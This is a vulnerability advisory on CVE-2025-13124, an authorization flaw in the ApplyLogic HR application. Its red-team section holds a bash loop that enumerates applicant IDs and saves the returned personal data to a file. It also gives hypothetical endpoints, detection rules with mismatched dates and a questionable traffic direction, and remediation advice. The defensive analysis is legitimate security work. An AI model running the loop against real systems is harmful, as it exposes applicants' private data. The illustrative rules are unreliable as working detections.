CVE-2025-13124

Executive Summary

CVE-2025-13124 is an Authorization Bypass Through User-Controlled Key vulnerability (CWE-639) in Netiket Information Technologies Ltd. Co. ApplyLogic, a web application used for applicant tracking and HR workflows. The flaw allows an unauthenticated attacker to manipulate a user-controlled identifier (e.g., a request parameter or cookie) to access or modify resources belonging to other users, including sensitive applicant data, resumes, and internal notes. The CVSS score is 7.6 (High), driven by network exploitability, no privileges required, and high impact on confidentiality and integrity. No public exploit code or proof-of-concept is available, but the attack vector is straightforward: an attacker can enumerate or guess valid resource IDs to bypass authorization checks. The vendor has not released a patch as of the advisory date (01.12.2025). This vulnerability is not related to any WordPress plugin or component; it is a standalone web application.

Supply Chain & Package Security

This vulnerability does not affect any NPM, PyPI, Go, or Ruby package. It is a proprietary web application (ApplyLogic) deployed on-premises or in a private cloud. No open-source dependencies are involved.

CVSS Breakdown & Threat Level

Threat Level: High. The vulnerability is trivial to exploit (no authentication, low complexity) and can lead to mass data exfiltration of personally identifiable information (PII) and manipulation of applicant records.

Deep Dive & Mechanics

The root cause is an Insecure Direct Object Reference (IDOR) in ApplyLogic’s API or web interface. The application uses a user-controlled key (e.g., applicant_id, resume_id, note_id) in GET/POST requests to retrieve or modify resources. The server fails to verify that the authenticated session (or lack thereof) is authorized to access the resource identified by that key.

Example vulnerable endpoint:

GET /api/applicant/details?id=12345

An attacker can change id to 12346 and view another applicant’s full profile, including name, email, phone, resume, and internal HR notes. The same pattern applies to update/delete operations.

Why it works:

• No session validation tied to the resource owner.
• Resource IDs are sequential integers or predictable UUIDs.
• No role-based access control (RBAC) check on the backend.

Vulnerable vs. Patched Code

Since no patch is available, we illustrate the vulnerable pattern and a hypothetical fix.

Vulnerable (Node.js/Express example):

app.get('/api/applicant/details', (req, res) => {
  const id = req.query.id;
  // Directly fetch applicant by ID without authorization check
  db.query('SELECT * FROM applicants WHERE id = ?', [id], (err, result) => {
    res.json(result);
  });
});

Patched (hypothetical):

app.get('/api/applicant/details', authenticate, (req, res) => {
  const id = req.query.id;
  const userId = req.session.userId;
  // Verify the applicant belongs to the current user or user has admin role
  db.query('SELECT * FROM applicants WHERE id = ? AND (user_id = ? OR role = "admin")', [id, userId], (err, result) => {
    if (result.length === 0) return res.status(403).send('Forbidden');
    res.json(result);
  });
});

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a local instance of ApplyLogic (if available) or use a vulnerable demo.
2. Identify endpoints that accept user-controlled IDs (e.g., /api/applicant/details, /api/resume/download).
3. Use Burp Suite or curl to manipulate IDs.

Exploitation Steps:

# Step 1: Enumerate valid applicant IDs (e.g., 1000-2000)
for i in {1000..2000}; do
  response=$(curl -s -o /dev/null -w "%{http_code}" "http://target.com/api/applicant/details?id=$i")
  if [ "$response" == "200" ]; then
    echo "Found valid ID: $i"
    curl -s "http://target.com/api/applicant/details?id=$i" >> exfiltrated_data.json
  fi
done

Expected Output: JSON objects containing PII of applicants.

Blue Team (Defensive)

Detection:

• Monitor for sequential or rapid ID enumeration in API logs.
• Alert on 403 responses followed by 200 for the same endpoint (indicating IDOR probing).
• Implement rate limiting on API endpoints.

Mitigation:

• Enforce authorization checks on every resource access.
• Use non-predictable identifiers (e.g., UUIDs) and validate ownership.
• Deploy a Web Application Firewall (WAF) with rules to block parameter tampering.

Indicators of Compromise (IOCs)

• Network: Unusual HTTP requests to /api/applicant/details, /api/resume/download, or similar endpoints with varying id parameters.
• Logs: Repeated 200 responses from different id values in a short time window.
• File: Exfiltration of JSON files containing applicant data (e.g., exfiltrated_data.json).
• User-Agent: Automated scripts (e.g., curl, python-requests, Go-http-client).

Detection Engineering

YARA Rule

rule CVE_2025_13124_ApplyLogic_IDOR {
  meta:
    description = "Detects exploitation attempts of CVE-2025-13124 via IDOR in ApplyLogic"
    author = "Valters IT"
    date = "2025-01-12"
    reference = "CVE-2025-13124"
  strings:
    $s1 = "/api/applicant/details" ascii nocase
    $s2 = "/api/resume/download" ascii nocase
    $s3 = "id=" ascii nocase
    $s4 = "applicant_id=" ascii nocase
  condition:
    any of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: CVE-2025-13124 ApplyLogic IDOR Exploitation
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects sequential ID enumeration attempts against ApplyLogic API
author: Valters IT
logsource:
  category: webserver
  product: apache
  service: access_combined
detection:
  selection:
    cs-uri-query|contains: 
      - "/api/applicant/details?id="
      - "/api/resume/download?id="
    sc-status: 200
  timeframe: 5m
  condition: selection | count() by src_ip > 10
falsepositives:
  - Legitimate bulk operations by authorized users
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
  msg:"CVE-2025-13124 ApplyLogic IDOR Enumeration Attempt";
  flow:to_server,established;
  content:"/api/applicant/details"; http_uri;
  content:"id="; http_uri;
  pcre:"/id=\d{4,}/";
  threshold: type both, track by_src, count 10, seconds 300;
  sid:1000001;
  rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the ApplyLogic server from the internet if possible.
2. Implement a reverse proxy (e.g., Nginx) with rate limiting and IP whitelisting.
3. Apply virtual patching via WAF rules to block parameter tampering.

Long-Term Fix:

• The vendor must release a patch that adds proper authorization checks (e.g., verifying resource ownership or role-based access).
• Migrate to a secure authentication framework (e.g., OAuth 2.0 with scopes).
• Conduct a full security audit of all API endpoints.

Workaround:

• Disable direct object reference endpoints and use server-side session-based access (e.g., only allow users to access their own data via session ID).

Valters IT
DevSecOps & Cyber Threat Intelligence Division
Report generated for CVE-2025-13124